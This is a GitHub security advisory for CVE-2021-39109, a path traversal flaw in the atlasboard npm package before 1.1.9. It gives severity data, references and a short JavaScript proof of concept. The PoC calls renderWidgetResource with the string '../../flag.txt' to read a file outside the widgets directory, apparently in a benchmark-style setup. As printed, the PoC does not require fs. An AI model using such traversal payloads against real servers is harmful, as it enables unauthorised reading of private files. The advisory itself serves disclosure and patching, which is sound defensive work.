GitHub Advisoryadvisory · npm
GHSA-25pr-6pr6-68v7 Path traversal in atlasboard
HIGH
Official page ↗
- Aliases
- CVE-2021-39109
- Ecosystem
- npm
- Packages
- atlasboard
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2021-09-02
Affected packages
• npm atlasboard: < 1.1.9 → fixed in 1.1.9
Description
The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.
PoC
```javascript
const widget = require(\"atlasboard/lib/webapp/routes/widget\");
// Mock req and res
const req = {};
const res = {
sendFile: (filePath) => {
// Read and return file contents synchronously
const data = fs.readFileSync(filePath, \"utf8\");
console.log(\"Contents of /flag.txt:\");
console.log(data);
},
status: function (code) {
this.statusCode = code;
return this;
},
send: function (msg) {
throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
},
};
// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";
// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";
// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
```
Related
Alias · CVE (1)
- CVE-2021-39109 The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path… vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-39109 advisory
- https://arxiv.org/abs/2506.04962 web
- https://arxiv.org/pdf/2506.04962 web
- https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c web
- https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path web
- https://bitbucket.org/atlassian/atlasboard/src/master web